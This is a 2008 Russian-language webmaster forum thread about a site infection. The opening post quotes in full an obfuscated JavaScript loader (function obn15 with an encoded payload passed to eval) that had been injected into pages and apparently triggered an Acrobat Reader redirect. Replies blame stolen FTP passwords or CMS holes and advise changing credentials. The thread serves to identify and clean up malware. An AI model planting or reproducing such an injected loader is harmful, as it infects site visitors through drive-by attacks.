16.10.2008, 05:21 | #1 |
Новичок
Регистрация: 13.04.2008
Сообщений: 34
Вес репутации: 0
|
Внимание, вирус!
Заметил появление на своих сайтах следующей штуки. В определенных местах страниц сайта вставляется следующая конструкция:
<script language=JavaScript> function obn15(p) { var h=p.length,k=1024,s,i,c,z=0,d=0,j=0,t=Array(63,35, 20,1,49,50,51,34,32,12,0,0,0,0,0,0,43,21,18,48,42, 10,0,28,41,24,59,52,23,58,47,2,8,40,7,56,60,61,25, 46,55,44,31,0,0,0,0,9,0,30,3,19,4,13,6,39,45,11,16 ,15,33,26,27,53,36,37,5,38,17,29,22,14,62,57,54);f or(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k);s>0;s--,h--){{j|=(t[p.charCodeAt(z++)-48])<<d;if(d){c+=String.fromCharCode(170^j&255);j>>=8 ;d-=2}else{d=6}}}eval(c);}}obn15('uk94wLGXdshXiJUXVZV 1WL94kXIpwLG5ZZT6dJelu1UCa0Y8emyC91U5R0Y7dNT4kZHgc xypmxY7V1u5L7QCaJhzjvIliJY6RsG4dJU6dJUlPnG4_R9ld0Y XrMulAzI8gNYXOcPzr0e4wiSyiJhCd7U5dJG4RiS8FMVgc5Hsb fI1awygcDy6efI1PDIXbJYXOZHgV5H7O0TCeiYXLWysmDIzakh 4kZ_7wkGzmnT5cb_4rcT6PBHqrw96INT4kcV1bO')</script><!-- Ваш домен --> При обращении к странице начинает открываться acrobat reader и страницу редиректит на некий документ. Кто заметил у себя на сайте похожее? |
16.10.2008, 05:25 | #2 |
Особый статус
|
|
16.10.2008, 05:57 | #5 |
Мастер
|
|
16.10.2008, 06:26 | #7 |
Эксперт
Регистрация: 04.02.2007
Сообщений: 2,242
Вес репутации: 383
|
бред и это не подозрение такого абсолютно не может быть.. или шелл вам залили или трояна цепанули какого...
меняйте пароли шелл, фтп, баз, мыла, аккаунта в той же сапе..
__________________
|
16.10.2008, 07:02 | #9 |
шайтанама
|
В 90% случаев попадает, через спертые пароли от ФТП с инфицированных компьютеров и через незакрытые дырки в стандартных движках типа Джумлы.
Заражаются файлы имеющие имя index и не важно какое расширение.
__________________
МордоКнига |
16.10.2008, 08:18 | #10 |
Новичок
Регистрация: 13.04.2008
Сообщений: 34
Вес репутации: 0
|
Вот я и думаю. Едиственное место куда я сообщил свой пароль по фтп это САПА. Возникает сия хрень в html-документах и только в тех, в которых размещен код САПы для статических страниц. И Ufaweb, прекращайте уже идиотничать, понимаю, гормоны конечно покоя не дают.. Но с возрастом должно пройти.
|
|
|
Похожие темы | ||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Вирус на сайте! | paulg | Разработка и сопровождение сайтов | 25 | 12.09.2008 12:15 |
Вирус в sape.php | seo-mike | Вопросы по работе системы | 24 | 21.05.2008 18:02 |
Вирус на сайте | nevermore | Разработка и сопровождение сайтов | 10 | 19.04.2008 00:13 |
Внимание, вирус!!! | mahown | Ошибки при работе с системой | 13 | 10.01.2008 14:28 |
Часовой пояс GMT +3, время: 11:28.